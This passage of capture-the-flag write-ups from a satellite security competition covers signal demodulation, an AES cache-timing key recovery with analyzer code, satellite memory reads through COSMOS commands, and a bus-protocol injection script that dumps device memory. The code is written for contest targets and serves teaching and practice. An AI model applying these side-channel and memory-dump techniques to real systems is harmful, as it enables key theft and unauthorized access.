|
|
|
[[file:signal.png]]
|
|
|
|
This looks suspiciously like Phase Shift Keying (PSK) and it's a very
|
|
clean signal (this is also hinted at by the challenge name). We can use
|
|
[[https://github.com/jopohl/urh][Universal Radio Hacker]] to demod this
|
|
with very little effort.
|
|
|
|
[[file:urh1.png]]
|
|
|
|
Select PSK modulation, then click "Autodetect parameters". Then move to
|
|
Analysis:
|
|
|
|
[[file:urh2.png]]
|
|
|
|
We discovered that the signal is NRZI (non-return-to-zero inverted)
|
|
coded, and after selecting this in URH the flag is decoded in the data
|
|
view.
|
|
|
|
** Resources and other writeups
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: resources-and-other-writeups-3
|
|
:END:
|
|
|
|
- [[https://github.com/jopohl/urh]]
|
|
- [[https://en.wikipedia.org/wiki/Phase-shift_keying]]
|
|
- [[https://en.wikipedia.org/wiki/Non-return-to-zero#NRZI]]
|
|
|
|
\newpage
|
|
** Leaky Crypto
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: leaky-crypto
|
|
:END:
|
|
|
|
Many optimized implementations of AES utilize lookup tables to combine
|
|
all steps of each round of the algorithm (SubBytes, ShiftRows,
|
|
MixColumns, AddKey) into a single operation. For some X (the plaintext
|
|
or the result from the previous round) and some K (the round key), they
|
|
are split bytewise and the XOR product of each respective byte pair is
|
|
used as the index into a lookup table. During the first round of AES, X
|
|
is the plaintext of the message, and K is the original message key.
|
|
Accordingly, given some known plaintext, leaking the index into the
|
|
lookup table for a particular character leaks the corresponding key
|
|
byte. There are four lookup tables which are used in each iteration of
|
|
AES (besides the last round) and which is used is determined by the
|
|
index of the byte MOD 4. We utilized
|
|
[[http://www.jbonneau.com/doc/BM06-CHES-aes_cache_timing.pdf][this
|
|
paper]] as a reference for both our understanding of AES and the attack
|
|
we will detail below.
|
|
|
|
Many CPUs cache RAM accesses so as to speed up subsequent accesses to
|
|
the same address. This is done because accessing RAM is quite slow, and
|
|
accessing cache is quite fast. This behavior would imply that on systems
|
|
which implement such caching methods, there is a correlation between the
|
|
amount of time it takes to encrypt a particular plaintext and the
|
|
occurrences of repeated values of a plaintext byte XORd with a key byte.
|
|
Accordingly, for every i, j, pi ⊕ pj in a family (with i, j being byte
|
|
indexes, p being the plaintext, and families corresponding to which
|
|
lookup table is being used), we calculate the average time to encrypt
|
|
such a message over all messages. We then determine if for any pair of
|
|
characters pi, pj there is a statistically significant shorter
|
|
encryption time compared to the average. If so, we can conclude that i ⊕
|
|
ki = pj ⊕ kj => pi ⊕ pj = ki ⊕ kj. From this information, we gain a set
|
|
of redundant system of equations relating different key bytes at
|
|
different indexes with each other. It is important to note that in order
|
|
for this attack to work, we must know at least one key byte in each
|
|
family in order to actually solve each system of equations.
|
|
Additionally, due to how cache works, this attack only leaks the most
|
|
significant q bits (q being related to the number of items in a cache
|
|
line). Once the set of possible partial keys (accounting for the
|
|
ambiguity in the least significant bits of each derived byte) has been
|
|
obtained by the above method, an attacker may brute force the remaining
|
|
unknown key bytes.
|
|
|
|
In the case of Leaky Crypto, a set of 100,000 plaintexts and
|
|
corresponding encryption times is provided along with the first six
|
|
bytes of the encryption key. We ran an analyzer program[^1] against
|
|
these plaintexts to obtain the probable correlation between different
|
|
indexes in the key with respect to the XOR product of those bytes with
|
|
plaintext bytes. Per the above, the plaintexts and timing data provided
|
|
enough information to derive the systems of equations which may be used
|
|
to solve for key bytes, and the first 6 bytes of the key provided enough
|
|
information to actually solve said systems of equations. Given the
|
|
ambiguity of the low bits of each derived key byte, we obtained 214
|
|
partial keys with three unknown bytes each. Thus, we reduced the problem
|
|
of guessing 2128 bits to guessing only 238 bits. We fed our derived
|
|
partial keys into [[https://github.com/pgarba/Hulk][Hulk]] to brute
|
|
force the remaining bytes for each candidate partial key. After 30
|
|
minutes had passed, we successfully brute forced the key.
|
|
|
|
#+BEGIN_SRC python
|
|
from itertools import combinations
|
|
import matplotlib.pyplot as plt
|
|
import numpy as np
|
|
|
|
def find_outliers(corpus, num_samps, i, j):
|
|
idxs = corpus[i][j].argsort()[:num_samps]
|
|
return idxs
|
|
|
|
def guess_bytes(corpus, known_keybytes, num_samps, avg):
|
|
candidates = []
|
|
for base in range(4):
|
|
family = [base, base + 4, base + 8, base + 12]
|
|
for combo in combinations(family, 2):
|
|
i,j = combo
|
|
guesses = find_outliers(corpus, num_samps, i, j)
|
|
guesses2 = []
|
|
for guess in guesses:
|
|
cnt = corpus[i][j][guess]
|
|
if cnt-avg < -10:
|
|
guesses2.append((i, j, guess, cnt-avg))
|
|
print(i, j, guess, cnt - avg)
|
|
candidates.append(tuple(guesses2))
|
|
print(candidates)
|
|
|
|
if __name__ == '__main__':
|
|
known_keybytes = bytes.fromhex("64c7072487f2")
|
|
secret_data = "c1a5fe7beb2c70bfab98926627dcff8b9671edc52441....."
|
|
|
|
data = set()
|
|
with open("test.txt", "r") as fp:
|
|
for line in fp:
|
|
pt, timing = line.strip().split(',')
|
|
pt = bytes.fromhex(pt)
|
|
timing = int(timing)
|
|
data.add((pt, timing))
|
|
|
|
tavg = sum((d[1] for d in data)) / len(data)
|
|
print("tavg: %d" % tavg)
|
|
|
|
known_tly = np.zeros((16, 16, 256))
|
|
|
|
for base in range(4):
|
|
print("Building corpus for family %d" % base)
|
|
family = [base, base + 4, base + 8, base + 12]
|
|
for combo in combinations(family, 2):
|
|
times = np.zeros(256)
|
|
counts = np.zeros(256)
|
|
i,j = combo
|
|
print("Working on %d, %d" % (i, j))
|
|
for d in data:
|
|
n = d[0][i] ^ d[0][j]
|
|
c = d[1]
|
|
times[n] += c
|
|
counts[n] += 1
|
|
for c in range(256):
|
|
cnorm = times[c] / counts[c]
|
|
known_tly[i][j][c] = cnorm
|
|
known_tly[j][i][c] = cnorm
|
|
|
|
guess_bytes(known_tly, known_keybytes, 4, tavg)
|
|
#+END_SRC
|
|
|
|
\newpage
|
|
* Bytes Away!
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: bytes-away
|
|
:END:
|
|
*Category:* Satellite Bus *Points (final):* 223 *Solves:* 11
|
|
|
|
#+BEGIN_QUOTE
|
|
We have an encrypted telemetry link from one of our satellites but we
|
|
seem to have lost the encryption key. Thankfully we can still send
|
|
unencrypted commands using our Cosmos interface (included). I've also
|
|
included the last version of kit_to.so that was updated to the
|
|
satellite. Can you help us restore communication with the satellite so
|
|
we can see what error "flag" is being transmitted?
|
|
#+END_QUOTE
|
|
|
|
** Write-up
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: write-up-3
|
|
:END:
|
|
|
|
by [[https://awoo.systems][haskal]]
|
|
|
|
Two files are provided for this challenge, one contains the =kit_to.so=
|
|
and the other contains a full [[https://cosmosrb.com/][COSMOS]]
|
|
directory tree for accessing the virtual satellite, which can be booted
|
|
up with the provided netcat endpoint. COSMOS is an open-source command
|
|
and control framework for satellites using
|
|
[[https://cfs.gsfc.nasa.gov/][NASA's Core Flight System]]. The provided
|
|
COSMOS directory contains everything we need to interact with the
|
|
virtual satellite, and the =kit_to.so= is part of the code that runs
|
|
onboard the actual satellite. Booting up COSMOS is enormously
|
|
complicated, so Docker can be used to automate the setup. We adapted the
|
|
Ball Aerospace COSMOS Docker image, and created a script to configure
|
|
COSMOS to connect to the CTF's satellite instance automatically by
|
|
writing the configuration file at
|
|
=cosmos/config/tools/cmd_tlm_server/cmd_tlm_server.txt=. When COSMOS is
|
|
successfully connected to the CTF instance it looks like this (no themes
|
|
were installed in the Docker container so it looks like Windows 95, I'm
|
|
so sorry,)
|
|
|
|
[[file:COSMOS.png]]
|
|
|
|
COSMOS can be used to send commands with the Command Sender, and we can
|
|
send for example a command for ENABLE_TELEMETRY, which causes the
|
|
satellite to start sending telemetry. However these are encrypted, so
|
|
COSMOS cannot understand them.
|
|
|
|
[[file:COSMOS_enable_telemetry.png]]
|
|
|
|
We also discover another present subsystem called =MM=, which allows for
|
|
reading and writing arbitrary memory on the satellite (how useful!) as
|
|
well as interacting with memory by symbols (extremely useful!).
|
|
|
|
[[file:COSMOS_MM.png]]
|
|
|
|
The provided =kit_to.so= contains the code used by the satellite to
|
|
transmit telemetry to COSMOS. We used
|
|
[[https://ghidra-sre.org/][Ghidra]] to analyze the binary (which
|
|
helpfully includes symbols and debugging information, and that makes our
|
|
lives way easier for this problem). We discovered that it uses AES CBC
|
|
with a key and IV retrieved with external functions =get_key= and
|
|
=get_iv= that are not present in the binary. However, these are stored
|
|
in known locations in memory, which means it would be possible to read
|
|
the AES key and IV using the PEEK_MEM command in COSMOS and then decrypt
|
|
the telemetry packets, but there's an easier way. The code contains a
|
|
function =KIT_TO_SendFlagPkt= which (as you might guess) sends the flag
|
|
via encrypted telemetry, and this also writes the flag as an
|
|
intermediate value to a known memory location. PIE is enabled for this
|
|
binary, however since the PEEK_MEM command allows looking up memory by
|
|
symbol name the address randomization is very trivially bypassed.
|
|
|
|
[[file:ghidra.png]]
|
|
|
|
Inspecting the structure of =KitToFlagPkt= shows that the flag is
|
|
located at offset 12 and is (up to) 200 bytes long. We created a Ruby
|
|
script in the COSMOS Script Runner to execute PEEK_MEM commands for each
|
|
byte in the flag range, based on the command COSMOS outputs to the
|
|
console when running the command manually in the GUI. Note that in order
|
|
for the function =KIT_TO_SendFlagPkt= to be called at all, we must first
|
|
run the ENABLE_TELEMETRY command even though we're not going to look at
|
|
any actual telemetry.
|
|
|
|
#+BEGIN_SRC ruby
|
|
12.upto(212) { |off|
|
|
offset = off
|
|
cmd("MM PEEK_MEM with CCSDS_STREAMID 6280, CCSDS_SEQUENCE 49152, CCSDS_LENGTH 73, "
|
|
+ "CCSDS_FUNCCODE 2, CCSDS_CHECKSUM 0, DATA_SIZE 8, MEM_TYPE 1, PAD_16 0, "
|
|
+ "ADDR_OFFSET #{offset}, ADDR_SYMBOL_NAME 'KitToFlagPkt'")
|
|
}
|
|
#+END_SRC
|
|
|
|
This directly prints the flag to the console, simply decode the hex to
|
|
get the flag value.
|
|
|
|
** Resources and other writeups
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: resources-and-other-writeups-4
|
|
:END:
|
|
|
|
- [[https://cosmosrb.com/]]
|
|
- [[https://cfs.gsfc.nasa.gov/]]
|
|
- [[https://ghidra-sre.org/]]
|
|
|
|
\newpage
|
|
* Magic Bus
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: magic-bus
|
|
:END:
|
|
*Category*: Satellite Bus *Points (final)*: 91 *Solves*: 44 (this number
|
|
taunts me)
|
|
/Important note:/ Team BLAHAJ did not solve this problem until after the
|
|
competition, and it did not count toward our final point total.
|
|
|
|
#+BEGIN_QUOTE
|
|
There's a very busy bus we've tapped a port onto, surely there is some
|
|
juicy information hidden in the device memory... somewhere...
|
|
#+END_QUOTE
|
|
|
|
** Write-up
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: write-up-4
|
|
:END:
|
|
|
|
by [[https://qtp2t.club/][hazel (=arcetera=)]]
|
|
*I hate this problem. I hate this problem. I hate this problem. I hate
|
|
this problem. I literally hate this problem so much. This problem made
|
|
me cry. I have literally no words to describe the exact extent to which
|
|
this problem has driven me insane. This problem taunts me in my sleep.
|
|
This problem taunts me while I am awake. The extent to which I despise
|
|
this problem is beyond words. I hate this. I hate whoever made this. I
|
|
want to burn this problem to the ground. This problem has achieved
|
|
active sentience and holds malice against me and the rest of my team
|
|
specifically. Had the competition not ended, this problem would hold the
|
|
rest of the world hostage.*
|
|
|
|
Furthermore, much of this writeup is /failed/ attempts at a solution.
|
|
Other writeups may be more useful at determining success, despite our
|
|
team eventually finding a solution.
|
|
|
|
...anyway...
|
|
|
|
When netcatting into the server, a series of hex bytes appears. A
|
|
cursory analysis of these bytes reveals that all packets start with =^=
|
|
and end with =.=, aside from lines starting with byte CA. Decoding the
|
|
data beginning with byte CA reveals some 🧃🧃🧃. This output has =\xca\x00=
|
|
stripped:
|
|
|
|
#+BEGIN_EXAMPLE
|
|
b'\xb2M*\xf9H\xacyvQ}\xd4\xf2\xa0\xcd\xc9Juicy Data 03\x00M\xae@\x9a\xd89\xe2\x85\xb2Y\xd6/-\xc9\xd0\xfb\x92\xd2\xc4Y\xaa[ B\xc6\xb5'
|
|
#+END_EXAMPLE
|
|
|
|
I prefer water though. #WaterDrinkers
|
|
|
|
While I was asleep, the rest of the team managed to reverse the protocol
|
|
to a decent extent. Namely, the format for strings beginning with
|
|
=:\x00\x00>= and =:\x00\x00?= and ending with =?= is: - =\0x000000= (6
|
|
bytes) - @ or ? - A (7 bytes) - @ (2 bytes) - @ or ? - =\xc1= (3 bytes)
|
|
|
|
An example:
|
|
|
|
#+BEGIN_EXAMPLE
|
|
b'\x00\x00\x008\x94S@\xc8.@A\x01:\xa0\xc0i\x11\xa1@|.@\xc1\x9b\x1c\xe6?'
|
|
: 00:00:00 > 38:94:53:40:c8:2e @ 1:3a:a0:c0:69:11:a1 @ 7c:2e @ 9b:1c:e6 ?
|
|
#+END_EXAMPLE
|
|
|
|
The following Python code decodes this packet structure:
|
|
|
|
#+BEGIN_SRC python
|
|
def to_hex(b):
|
|
return ':'.join(hex(x)[2:] for x in b)
|
|
|
|
def decode_pkt(b):
|
|
if len(b) == 0:
|
|
return
|
|
if b[0] == 0xCA:
|
|
pass # raw data?
|
|
elif b[0] == ord(':'):
|
|
if b[3] == ord('>') or b[3] == ord('?'): # > or ?
|
|
field1 = to_hex(b[7:13]) # 6 bytes
|
|
field1end = chr(b[13]) #
|
|
field2 = to_hex(b[15:22]) # 7 bytes
|
|
if b[22] != ord('@'):
|
|
print('b[22] should be @ but is {}'.format(chr(b[22])))
|
|
field3 = to_hex(b[23:25])
|
|
field3end = chr(b[25])
|
|
c1 = b[26]
|
|
field4 = to_hex(b[27:30])
|
|
if b[30] != ord('?'):
|
|
print('b[30] is not ?')
|
|
print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2,
|
|
field3, field3end, field4))
|
|
elif b[0] == ord(';'):
|
|
print('delimiter') # end of previous packet?
|
|
else:
|
|
print(b[0])
|
|
print('unknown data')
|
|
print('\n')
|
|
#+END_SRC
|
|
|
|
Noting a delay between packets led me to derive the following packet
|
|
structure: - START packet, which is equal to the preceding END packet -
|
|
ONCE call, which occurs prior to a... - ONCE packet - JUICY DATA - END
|
|
call - END packet, which is equal to the next START packet
|
|
|
|
This proved to be incorrect, but more on that later.
|
|
|
|
The following code differentiates between these packets from the netcat,
|
|
where the variable =rawn= is the raw byte string:
|
|
|
|
#+BEGIN_SRC python
|
|
start = True
|
|
while True:
|
|
r.recvuntil('^')
|
|
raw = r.recvuntil('.')
|
|
rawn = bytes([94]) + raw
|
|
print(rawn)
|
|
v = raw.decode().split('+')
|
|
del v[-1]
|
|
h = bytes([int(i, 16) for i in v])
|
|
if h == b';\x00\x00?':
|
|
print("ONCE CALL")
|
|
elif h == b';\x00\x00>':
|
|
print("END CALL")
|
|
elif h.startswith(b':\x00\x00?'):
|
|
print(f"ONCE: {h[4:]}")
|
|
elif h.startswith(b':\x00\x00>'):
|
|
# notable delay between start and end each time
|
|
if start:
|
|
print(f"START: {h[4:]}")
|
|
start = False
|
|
else:
|
|
print("INJECTING")
|
|
r.send(inj)
|
|
print(f"END: {h[4:]}")
|
|
start = True
|
|
elif h.startswith(b'\xca'):
|
|
print(f"JUICE: {h}")
|
|
else:
|
|
print(f"???: {h}")
|
|
|
|
sys.stdout.flush()
|
|
#+END_SRC
|
|
|
|
I then noticed that post-text the string
|
|
=\x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6= had the characters ={=
|
|
and =6= at the same point as =flag{oscar39616kilo=, which would
|
|
correspond to a flag. I graphed this and tried to find a function (or
|
|
multiple) modeling a relation here, but with R2 being something like
|
|
0.39 for every relation I tried, this was extremely unlikely.
|
|
|
|
We then tried reading the data sequentially from the buffer, from Juicy
|
|
Data 00 to 04. Here's the entire string:
|
|
|
|
#+BEGIN_EXAMPLE
|
|
00000000: 4a75 6963 7920 4461 7461 2030 3000 c8f7 Juicy Data 00...
|
|
00000010: eb15 963d 6b70 5cc9 2c5e d5cf 5c31 9919 ...=kp\.,^..\1..
|
|
00000020: 779a c6a9 0865 8d55 926a 372c 00ff 23eb w....e.U.j7,..#.
|
|
00000030: 14b9 297f 2985 4856 e31d 2558 58be 59c6 ..).).HV..%XX.Y.
|
|
00000040: 4a75 6963 7920 4461 7461 2030 3100 5201 Juicy Data 01.R.
|
|
00000050: 1e7b 8147 00c9 9de3 e7c2 2336 817c fcd9 .{.G......#6.|..
|
|
00000060: 9b6b 3a1f 68f0 35ce dd77 35ca dc87 ccfa .k:.h.5..w5.....
|
|
00000070: 024d 4102 16df e5fd a108 3322 842f fc1f .MA.......3"./..
|
|
00000080: 4a75 6963 7920 4461 7461 2030 3200 c08f Juicy Data 02...
|
|
00000090: e702 91fd e177 fb82 7f2e a504 5ea1 23f9 .....w......^.#.
|
|
000000a0: d762 fcfd d5cd 00c0 d4ce 8661 6847 f14f .b.........ahG.O
|
|
000000b0: 4982 4d2a f948 ac79 7651 7dd4 f2a0 cdc9 I.M*.H.yvQ}.....
|
|
000000c0: 4a75 6963 7920 4461 7461 2030 3300 4dae Juicy Data 03.M.
|
|
000000d0: 409a d839 e285 b259 d62f 2dc9 d0fb 92d2 @..9...Y./-.....
|
|
000000e0: c459 aa5b 2042 c6b5 6193 b3c6 5001 7590 .Y.[ B..a...P.u.
|
|
000000f0: 9b4d ca7e d27c d7a9 ac04 727c ff04 4ec4 .M.~.|....r|..N.
|
|
00000100: 4a75 6963 7920 4461 7461 2030 3400 5a83 Juicy Data 04.Z.
|
|
00000110: 2524 01f8 a0d8 a14c dc13 c8dc 1717 a075 %$.....L.......u
|
|
00000120: 10bf f24b a525 e81e 0c4b e8f3 ...K.%...K..
|
|
#+END_EXAMPLE
|
|
|
|
Unfortunately, nothing meaningful was derived from this. There are a ={=
|
|
and =}= with bytes between them, but they aren't flag length.
|
|
|
|
I noticed that injecting instructions performed something, but I didn't
|
|
think it did anything notable. I injected various data at various
|
|
points, but I never managed to break out at the previous region of
|
|
memory... which is where gashapwn's /incredible/ work came in.
|
|
|
|
If the packet =^3b+00+00+00.= is sent, the bus /stops sending data/,
|
|
which is decidedly confirmation that the server accepts data. Each of
|
|
the following injects has the same effect:
|
|
|
|
#+BEGIN_EXAMPLE
|
|
^3b+00+00+30+.
|
|
^3b+00+00+31+.
|
|
^3b+00+00+32+.
|
|
^3b+00+00+33+.
|
|
^3b+00+00+34+.
|
|
^3b+00+00+34+.
|
|
^3b+00+00+35+.
|
|
^3b+00+00+36+.
|
|
^3b+00+00+37+.
|
|
#+END_EXAMPLE
|
|
|
|
In practice, only this last packet is needed to shut down the server.
|
|
Anything of the form of =^3b+00+00+XX+.= where XX<38 shuts it down, but
|
|
only 37 enables dump mode. This can probably be done with a fuzzer. Why
|
|
has God abandoned us? What accursed malfunction did we do to deserve
|
|
this fate?
|
|
|
|
If you send the packet
|
|
=^ca+00+44+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+.....+87+cc+.=,
|
|
the same packet is sent back. This means that the juice packets
|
|
deliminated with =\xca= are actually instructions.
|
|
|
|
By playing with the packet, the format appears to go: - Byte 0: CA -
|
|
Byte 1-2: Memory offset - Byte 3-end: Size of memory to return
|
|
|
|
...so if we ask for a really large chunk of data, we can get a dump.
|
|
With the inject:
|
|
|
|
#+BEGIN_EXAMPLE
|
|
b"^3b+00+00+37+."
|
|
b"^ca+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+....+00+00+."
|
|
#+END_EXAMPLE
|
|
|
|
we can query for everything in memory. And we did.
|
|
|
|
*** Full code
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: full-code-3
|
|
:END:
|
|
|
|
#+BEGIN_SRC python
|
|
#!/usr/bin/env python3
|
|
import time
|
|
import sys
|
|
|
|
from pwnlib import tubes
|
|
|
|
TICKET = 'THE_TICKET'
|
|
r = tubes.remote.remote('bus.satellitesabove.me', 5041)
|
|
r.send(TICKET+'\n')
|
|
time.sleep(0.5)
|
|
r.recvuntil('Ticket please:\n', drop=True)
|
|
|
|
def to_hex(b):
|
|
return ':'.join(hex(x)[2:] for x in b)
|
|
|
|
def decode_pkt(b):
|
|
if len(b) == 0:
|
|
return
|
|
if b[0] == 0xCA:
|
|
pass # raw data?
|
|
elif b[0] == ord(':'):
|
|
if b[3] == ord('>') or b[3] == ord('?'): # > or ?
|
|
field1 = to_hex(b[7:13]) # 6 bytes
|
|
field1end = chr(b[13]) #
|
|
field2 = to_hex(b[15:22]) # 7 bytes
|
|
if b[22] != ord('@'):
|
|
print('b[22] should be @ but is {}'.format(chr(b[22])))
|
|
field3 = to_hex(b[23:25])
|
|
field3end = chr(b[25])
|
|
c1 = b[26]
|
|
field4 = to_hex(b[27:30])
|
|
if b[30] != ord('?'):
|
|
print('b[30] is not ?')
|
|
print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2,
|
|
field3, field3end, field4))
|
|
elif b[0] == ord(';'):
|
|
print('delimiter') # end of previous packet?
|
|
else:
|
|
print(b[0])
|
|
print('unknown data')
|
|
print('\n')
|
|
|
|
start = True
|
|
inj = b"^3b+00+00+37+."
|
|
inj2 = b"^ca+" + (b"00+" * 512) + b"."
|
|
|
|
dont = False
|
|
inj2_b = False
|
|
|
|
print("Injection: " + inj.decode("utf-8"))
|
|
|
|
while True:
|
|
r.recvuntil('^')
|
|
raw = r.recvuntil('.')
|
|
rawn = bytes([94]) + raw
|
|
print(rawn)
|
|
v = raw.decode().split('+')
|
|
del v[-1]
|
|
h = bytes([int(i, 16) for i in v])
|
|
if h == b';\x00\x00?':
|
|
print("ONCE CALL")
|
|
elif h == b';\x00\x00>':
|
|
print("END CALL")
|
|
elif h.startswith(b':\x00\x00?'):
|
|
print(f"ONCE: {h[4:].hex()}")
|
|
elif h.startswith(b'\x3b\x00\x00\x37'):
|
|
print("SHUT DOWN SUCCESSFUL")
|
|
dont = True
|
|
inj2_b = True
|
|
print("INJECTING AGAIN")
|
|
r.send(inj2)
|
|
elif h.startswith(b':\x00\x00>'):
|
|
# notable delay between start and end each time
|
|
if start:
|
|
print(f"START: {h[4:].hex()}")
|
|
start = False
|
|
elif inj2_b == False:
|
|
print("INJECTING")
|
|
r.send(inj)
|
|
print(f"END: {h[4:].hex()}")
|
|
start = True
|
|
else:
|
|
print("INJECTING AGAIN")
|
|
r.send(inj2)
|
|
print(f"END: {h[4:].hex()}")
|
|
start = True
|
|
elif h.startswith(b'\xca'):
|
|
print(f"JUICE: {h}")
|
|
else:
|
|
dont = True
|
|
print(f"???: {h.hex()}")
|
|
|
|
if not dont:
|
|
decode_pkt(h)
|
|
dont = False
|
|
sys.stdout.flush()
|
|
#+END_SRC
|
|
|
|
Run it:
|
|
|
|
#+BEGIN_EXAMPLE
|
|
λ has-writeup/satellite-bus/magic-bus python magic-bus.py
|
|
|
|
....
|
|
|
|
JUICE: b'.....v\xaf\xe88\x856Mflag{oscar39616kilo:GCxmhORYa65Y0PmRtFmlFSBmnvImEiWg.....'
|
|
#+END_EXAMPLE
|
|
|
|
Hey look, a flag!
|
|
|
|
I hate this problem so much. At the time of me writing this, it's 1:30
|
|
AM and I'm sitting in my kitchen on my Lenovo(tm) ThinkPad(tm) T440(tm).
|
|
I genuinely don't know how this got so many solves. I hate this.
|
|
Goodnight.
|
|
|
|
** Resources and other writeups
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: resources-and-other-writeups-5
|
|
:END:
|
|
|
|
- God I wish there was any
|
|
|
|
\newpage
|
|
* Good Plan? Great Plan!
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: good-plan-great-plan
|
|
:END:
|
|
*Category*: Space and Things *Points (final)*: 77 *Solves*: 54
|
|
|
|
#+BEGIN_QUOTE
|
|
Help the Launchdotcom team perform a mission on their satellite to
|
|
take a picture of a specific location on the ground. No hacking here,
|
|
just good old fashion mission planning!
|
|
#+END_QUOTE
|
|
|
|
#+BEGIN_QUOTE
|
|
The current time is April 22, 2020 at midnight (2020-04-22T00:00:00Z).
|
|
We need to obtain images of the Iranian space port (35.234722 N
|
|
53.920833 E) with our satellite within the next 48 hours. You must
|
|
design a mission plan that obtains the images and downloads them
|
|
within the time frame without causing any system failures on the
|
|
spacecraft, or putting it at risk of continuing operations. The
|
|
spacecraft in question is USA 224 in the NORAD database with the
|
|
following TLE:
|
|
|
|
#+BEGIN_EXAMPLE
|
|
1 37348U 11002A 20053.50800700 .00010600 00000-0 95354-4 0 09
|
|
2 37348 97.9000 166.7120 0540467 271.5258 235.8003 14.76330431 04
|
|
#+END_EXAMPLE
|
|
|
|
You need to obtain 120 MB of image data of the target location and
|
|
downlink it to our ground station in Fairbanks, AK (64.977488 N
|
|
147.510697 W). Your mission will begin at 2020-04-22T00:00:00Z and
|
|
last 48 hours. You are submitting a mission plan to a simulator that
|
|
will ensure the mission plan will not put the spacecraft at risk, and
|
|
will accomplish the desired objectives.
|
|
#+END_QUOTE
|
|
|
|
** Write-up
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: write-up-5
|
|
:END:
|
|
|
|
by [[https://qtp2t.club/][hazel (=arcetera=)]]
|
|
|
|
In the time range [2020-04-22 00:00:00, 2020-04-23 23:59:00], the USA
|
|
224 satellite as given in the TLE above reaches the Iranian space port
|
|
twice: - Around 09:28 on 2020-04-22 - Around 09:50 on 2020-04-23 This
|
|
was found in GPredict after loading in the TLE given in the netcat.
|
|
|
|
Additionally, the USA 224 reaches the ground station in Alaska twice: -
|
|
Around 10:47 on 2020-04-22 - Around 11:10 on 2020-04-23
|
|
|
|
The rest of the strategy is pretty much just to use trial and error: -
|
|
Image for as long as possible until the battery runs dry or we're out of
|
|
range - Downlink for as long as possible until the battery runs dry or
|
|
we're out of range - Desaturate the wheels about an hour before they
|
|
exceed maximum velocity
|
|
|
|
*** Full plan
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: full-plan
|
|
:END:
|
|
|
|
#+BEGIN_EXAMPLE
|
|
2020-04-22T00:00:00Z sun_point
|
|
2020-04-22T09:28:00Z imaging
|
|
2020-04-22T09:35:00Z sun_point
|
|
2020-04-22T10:47:00Z data_downlink
|
|
2020-04-22T10:50:00Z wheel_desaturate
|
|
2020-04-22T11:30:00Z sun_point
|
|
2020-04-23T08:50:00Z wheel_desaturate
|
|
2020-04-23T09:30:00Z sun_point
|
|
2020-04-23T09:50:00Z imaging
|
|
2020-04-23T09:56:00Z sun_point
|
|
2020-04-23T11:10:00Z data_downlink
|
|
2020-04-23T11:14:00Z sun_point
|
|
2020-04-23T22:00:00Z wheel_desaturate
|
|
#+END_EXAMPLE
|
|
|
|
** Resources and other writeups
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: resources-and-other-writeups-6
|
|
:END:
|
|
|
|
- [[http://gpredict.oz9aec.net/]]
|
|
- [[https://en.wikipedia.org/wiki/Two-line_element_set]]
|
|
|
|
\newpage
|